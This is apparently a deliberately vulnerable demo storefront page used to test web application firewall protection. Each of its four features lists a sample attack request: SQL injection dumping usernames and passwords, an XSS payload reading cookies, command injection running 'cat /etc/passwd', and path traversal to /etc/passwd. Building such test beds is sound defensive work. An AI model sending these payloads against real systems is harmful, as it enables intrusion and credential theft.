SecureCart

WAF ONBOARDING DEMO

A demo storefront exposing four classic attack vectors, for testing WAF/edge protection before and after onboarding.

Product Search

Search the catalog by ID. Vector: SQL Injection

GET /search?q=1' OR '1'='1' UNION SELECT username,password FROM users--

Customer Reviews

Leave feedback on a product. Vector: Cross-Site Scripting (XSS)

GET /reviews?comment=<script>alert(document.cookie)</script>

Shipping Diagnostics

Check connectivity to the shipping partner API. Vector: Command Injection

GET /diagnostics?host=8.8.8.8; cat /etc/passwd

Invoice Download

Download a past invoice PDF. Vector: Path Traversal

GET /invoice?file=../../../../etc/passwd

Response